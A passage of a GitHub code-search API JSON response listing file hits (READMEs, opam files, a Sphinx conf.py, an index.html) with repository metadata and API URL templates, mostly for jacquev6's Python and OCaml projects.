url":"https://api.github.com/users/seanjensengrey/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/seanjensengrey/subscriptions","organizations_url":"https://api.github.com/users/seanjensengrey/orgs","repos_url":"https://api.github.com/users/seanjensengrey/repos","events_url":"https://api.github.com/users/seanjensengrey/events{/privacy}","received_events_url":"https://api.github.com/users/seanjensengrey/received_events","type":"User","site_admin":false},"html_url":"https://github.com/seanjensengrey/pentoo","description":"Automatically exported from code.google.com/p/pentoo","fork":false,"url":"https://api.github.com/repos/seanjensengrey/pentoo","forks_url":"https://api.github.com/repos/seanjensengrey/pentoo/forks","keys_url":"https://api.github.com/repos/seanjensengrey/pentoo/keys{/key_id}","collaborators_url":"https://api.github.com/repos/seanjensengrey/pentoo/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/seanjensengrey/pentoo/teams","hooks_url":"https://api.github.com/repos/seanjensengrey/pentoo/hooks","issue_events_url":"https://api.github.com/repos/seanjensengrey/pentoo/issues/events{/number}","events_url":"https://api.github.com/repos/seanjensengrey/pentoo/events","assignees_url":"https://api.github.com/repos/seanjensengrey/pentoo/assignees{/user}","branches_url":"https://api.github.com/repos/seanjensengrey/pentoo/branches{/branch}","tags_url":"https://api.github.com/repos/seanjensengrey/pentoo/tags","blobs_url":"https://api.github.com/repos/seanjensengrey/pentoo/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/seanjensengrey/pentoo/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/seanjensengrey/pentoo/git/refs{/sha}","trees_url":"https://api.github.com/repos/seanjensengrey/pentoo/git/trees{/sha}","statuses_url":"https://api.github.com/repos/seanjensengrey/pentoo/statuses/{sha}","languages_url":"https://api.github.com/repos/seanjensengrey/pentoo/languages","stargazers_url":"https://api.github.com/repos/seanjensengrey/pentoo/stargazers","contributors_url":"https://api.github.com/repos/seanjensengrey/pentoo/contributors","subscribers_url":"https://api.github.com/repos/seanjensengrey/pentoo/subscribers","subscription_url":"https://api.github.com/repos/seanjensengrey/pentoo/subscription","commits_url":"https://api.github.com/repos/seanjensengrey/pentoo/commits{/sha}","git_commits_url":"https://api.github.com/repos/seanjensengrey/pentoo/git/commits{/sha}","comments_url":"https://api.github.com/repos/seanjensengrey/pentoo/comments{/number}","issue_comment_url":"https://api.github.com/repos/seanjensengrey/pentoo/issues/comments{/number}","contents_url":"https://api.github.com/repos/seanjensengrey/pentoo/contents/{+path}","compare_url":"https://api.github.com/repos/seanjensengrey/pentoo/compare/{base}...{head}","merges_url":"https://api.github.com/repos/seanjensengrey/pentoo/merges","archive_url":"https://api.github.com/repos/seanjensengrey/pentoo/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/seanjensengrey/pentoo/downloads","issues_url":"https://api.github.com/repos/seanjensengrey/pentoo/issues{/number}","pulls_url":"https://api.github.com/repos/seanjensengrey/pentoo/pulls{/number}","milestones_url":"https://api.github.com/repos/seanjensengrey/pentoo/milestones{/number}","notifications_url":"https://api.github.com/repos/seanjensengrey/pentoo/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/seanjensengrey/pentoo/labels{/name}","releases_url":"https://api.github.com/repos/seanjensengrey/pentoo/releases{/id}","deployments_url":"https://api.github.com/repos/seanjensengrey/pentoo/deployments"},"score":31.54359},{"name":"README.rst","path":"README.rst","sha":"a32ac41cdf7c583e5ced3877595ad04b43a39c72","url":"https://api.github.com/repositories/40665572/contents/README.rst?ref=44b14d3c6d477f440c99ac433819fec0ce1f4591","git_url":"https://api.github.com/repositories/40665572/git/blobs/a32ac41cdf7c583e5ced3877595ad04b43a39c72","html_url":"https://github.com/jacquev6/Pynamixel/blob/44b14d3c6d477f440c99ac433819fec0ce1f4591/README.rst","repository":{"id":40665572,"node_id":"MDEwOlJlcG9zaXRvcnk0MDY2NTU3Mg==","name":"Pynamixel","full_name":"jacquev6/Pynamixel","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/Pynamixel","description":"Python library to use Robotis Dynamixel servos","fork":false,"url":"https://api.github.com/repos/jacquev6/Pynamixel","forks_url":"https://api.github.com/repos/jacquev6/Pynamixel/forks","keys_url":"https://api.github.com/repos/jacquev6/Pynamixel/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/Pynamixel/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/Pynamixel/teams","hooks_url":"https://api.github.com/repos/jacquev6/Pynamixel/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/Pynamixel/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/Pynamixel/events","assignees_url":"https://api.github.com/repos/jacquev6/Pynamixel/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/Pynamixel/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/Pynamixel/tags","blobs_url":"https://api.github.com/repos/jacquev6/Pynamixel/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/Pynamixel/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/Pynamixel/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/Pynamixel/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/Pynamixel/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/Pynamixel/languages","stargazers_url":"https://api.github.com/repos/jacquev6/Pynamixel/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/Pynamixel/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/Pynamixel/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/Pynamixel/subscription","commits_url":"https://api.github.com/repos/jacquev6/Pynamixel/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/Pynamixel/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/Pynamixel/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/Pynamixel/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/Pynamixel/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/Pynamixel/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/Pynamixel/merges","archive_url":"https://api.github.com/repos/jacquev6/Pynamixel/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/Pynamixel/downloads","issues_url":"https://api.github.com/repos/jacquev6/Pynamixel/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/Pynamixel/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/Pynamixel/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/Pynamixel/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/Pynamixel/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/Pynamixel/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/Pynamixel/deployments"},"score":31.515135},{"name":"README.rst","path":"README.rst","sha":"62f5f8b8727c265010d61f3cb998c3a2ce008ebf","url":"https://api.github.com/repositories/6518903/contents/README.rst?ref=16a493a59c2e22812c8b4545b11be4b6ca4e38d3","git_url":"https://api.github.com/repositories/6518903/git/blobs/62f5f8b8727c265010d61f3cb998c3a2ce008ebf","html_url":"https://github.com/jacquev6/ActionTree/blob/16a493a59c2e22812c8b4545b11be4b6ca4e38d3/README.rst","repository":{"id":6518903,"node_id":"MDEwOlJlcG9zaXRvcnk2NTE4OTAz","name":"ActionTree","full_name":"jacquev6/ActionTree","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/ActionTree","description":"Python library executing long concurrent actions with inter-dependencies","fork":false,"url":"https://api.github.com/repos/jacquev6/ActionTree","forks_url":"https://api.github.com/repos/jacquev6/ActionTree/forks","keys_url":"https://api.github.com/repos/jacquev6/ActionTree/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/ActionTree/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/ActionTree/teams","hooks_url":"https://api.github.com/repos/jacquev6/ActionTree/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/ActionTree/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/ActionTree/events","assignees_url":"https://api.github.com/repos/jacquev6/ActionTree/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/ActionTree/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/ActionTree/tags","blobs_url":"https://api.github.com/repos/jacquev6/ActionTree/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/ActionTree/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/ActionTree/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/ActionTree/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/ActionTree/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/ActionTree/languages","stargazers_url":"https://api.github.com/repos/jacquev6/ActionTree/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/ActionTree/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/ActionTree/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/ActionTree/subscription","commits_url":"https://api.github.com/repos/jacquev6/ActionTree/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/ActionTree/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/ActionTree/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/ActionTree/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/ActionTree/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/ActionTree/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/ActionTree/merges","archive_url":"https://api.github.com/repos/jacquev6/ActionTree/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/ActionTree/downloads","issues_url":"https://api.github.com/repos/jacquev6/ActionTree/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/ActionTree/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/ActionTree/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/ActionTree/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/ActionTree/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/ActionTree/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/ActionTree/deployments"},"score":31.455559},{"name":"README.rst","path":"README.rst","sha":"2c8df66378ce9c96b3c8dd1dae507c237062e1f9","url":"https://api.github.com/repositories/767403/contents/README.rst?ref=2bcaf5d7afa0b463245204722633087d1a5f10aa","git_url":"https://api.github.com/repositories/767403/git/blobs/2c8df66378ce9c96b3c8dd1dae507c237062e1f9","html_url":"https://github.com/jacquev6/DrawTurksHead/blob/2bcaf5d7afa0b463245204722633087d1a5f10aa/README.rst","repository":{"id":767403,"node_id":"MDEwOlJlcG9zaXRvcnk3Njc0MDM=","name":"DrawTurksHead","full_name":"jacquev6/DrawTurksHead","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/DrawTurksHead","description":"Python library to draw Turk's Head knots","fork":false,"url":"https://api.github.com/repos/jacquev6/DrawTurksHead","forks_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/forks","keys_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/teams","hooks_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/events","assignees_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/tags","blobs_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/languages","stargazers_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/subscription","commits_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/merges","archive_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/downloads","issues_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/deployments"},"score":31.31619},{"name":"DrawGrammar.opam","path":"DrawGrammar.opam","sha":"b083057cdf267907bb5c2fbc046c493bbe16ea98","url":"https://api.github.com/repositories/97625819/contents/DrawGrammar.opam?ref=e14fbb79b74f9d1c7390300772a7e769afc7aad2","git_url":"https://api.github.com/repositories/97625819/git/blobs/b083057cdf267907bb5c2fbc046c493bbe16ea98","html_url":"https://github.com/jacquev6/DrawGrammar/blob/e14fbb79b74f9d1c7390300772a7e769afc7aad2/DrawGrammar.opam","repository":{"id":97625819,"node_id":"MDEwOlJlcG9zaXRvcnk5NzYyNTgxOQ==","name":"DrawGrammar","full_name":"jacquev6/DrawGrammar","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/DrawGrammar","description":"Draw railroad diagrams of EBNF grammars. In browser and on command line","fork":false,"url":"https://api.github.com/repos/jacquev6/DrawGrammar","forks_url":"https://api.github.com/repos/jacquev6/DrawGrammar/forks","keys_url":"https://api.github.com/repos/jacquev6/DrawGrammar/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/DrawGrammar/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/DrawGrammar/teams","hooks_url":"https://api.github.com/repos/jacquev6/DrawGrammar/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/DrawGrammar/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/DrawGrammar/events","assignees_url":"https://api.github.com/repos/jacquev6/DrawGrammar/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/DrawGrammar/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/DrawGrammar/tags","blobs_url":"https://api.github.com/repos/jacquev6/DrawGrammar/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/DrawGrammar/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/DrawGrammar/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/DrawGrammar/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/DrawGrammar/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/DrawGrammar/languages","stargazers_url":"https://api.github.com/repos/jacquev6/DrawGrammar/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/DrawGrammar/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/DrawGrammar/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/DrawGrammar/subscription","commits_url":"https://api.github.com/repos/jacquev6/DrawGrammar/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/DrawGrammar/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/DrawGrammar/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/DrawGrammar/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/DrawGrammar/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/DrawGrammar/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/DrawGrammar/merges","archive_url":"https://api.github.com/repos/jacquev6/DrawGrammar/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/DrawGrammar/downloads","issues_url":"https://api.github.com/repos/jacquev6/DrawGrammar/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/DrawGrammar/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/DrawGrammar/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/DrawGrammar/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/DrawGrammar/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/DrawGrammar/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/DrawGrammar/deployments"},"score":31.246304},{"name":"conf.py","path":"doc/conf.py","sha":"a5389035ab87a8574e9f63b1ea2b8ae39f744171","url":"https://api.github.com/repositories/100627412/contents/doc/conf.py?ref=0a80a726d3b09f945e8e601511dd18f1f3ef0162","git_url":"https://api.github.com/repositories/100627412/git/blobs/a5389035ab87a8574e9f63b1ea2b8ae39f744171","html_url":"https://github.com/jacquev6/General/blob/0a80a726d3b09f945e8e601511dd18f1f3ef0162/doc/conf.py","repository":{"id":100627412,"node_id":"MDEwOlJlcG9zaXRvcnkxMDA2Mjc0MTI=","name":"General","full_name":"jacquev6/General","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/General","description":"Rich functionality for built-in and basic OCaml types","fork":false,"url":"https://api.github.com/repos/jacquev6/General","forks_url":"https://api.github.com/repos/jacquev6/General/forks","keys_url":"https://api.github.com/repos/jacquev6/General/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/General/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/General/teams","hooks_url":"https://api.github.com/repos/jacquev6/General/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/General/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/General/events","assignees_url":"https://api.github.com/repos/jacquev6/General/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/General/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/General/tags","blobs_url":"https://api.github.com/repos/jacquev6/General/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/General/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/General/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/General/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/General/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/General/languages","stargazers_url":"https://api.github.com/repos/jacquev6/General/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/General/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/General/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/General/subscription","commits_url":"https://api.github.com/repos/jacquev6/General/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/General/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/General/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/General/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/General/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/General/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/General/merges","archive_url":"https://api.github.com/repos/jacquev6/General/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/General/downloads","issues_url":"https://api.github.com/repos/jacquev6/General/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/General/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/General/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/General/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/General/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/General/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/General/deployments"},"score":31.162516},{"name":"hashids.opam","path":"hashids.opam","sha":"2b3dab1c2b9a6d5fa5fbb2b3f35ba2dc6a4972e8","url":"https://api.github.com/repositories/57307104/contents/hashids.opam?ref=f2fa67d8836a547eb91429dc6895066cc40cc6f9","git_url":"https://api.github.com/repositories/57307104/git/blobs/2b3dab1c2b9a6d5fa5fbb2b3f35ba2dc6a4972e8","html_url":"https://github.com/jacquev6/hashids-ocaml/blob/f2fa67d8836a547eb91429dc6895066cc40cc6f9/hashids.opam","repository":{"id":57307104,"node_id":"MDEwOlJlcG9zaXRvcnk1NzMwNzEwNA==","name":"hashids-ocaml","full_name":"jacquev6/hashids-ocaml","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/hashids-ocaml","description":"OCaml implementation of http://hashids.org","fork":false,"url":"https://api.github.com/repos/jacquev6/hashids-ocaml","forks_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/forks","keys_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/teams","hooks_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/events","assignees_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/tags","blobs_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/languages","stargazers_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/subscription","commits_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/merges","archive_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/downloads","issues_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/deployments"},"score":31.093746},{"name":"index.html","path":"docs/index.html","sha":"68b6dff8160a8257a0fda2e7c1a3edcc4d387b8a","url":"https://api.github.com/repositories/767403/contents/docs/index.html?ref=2bcaf5d7afa0b463245204722633087d1a5f10aa","git_url":"https://api.github.com/repositories/767403/git/blobs/68b6dff8160a8257a0fda2e7c1a3edcc4d387b8a","html_url":"https://github.com/jacquev6/DrawTurksHead/blob/2bcaf5d7afa0b463245204722633087d1a5f10aa/docs/index.html","repository":{"id":767403,"node_id":"MDEwOlJlcG9zaXRvcnk3Njc0MDM=","name":"DrawTurksHead","full_name":"jacquev6/DrawTurksHead","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_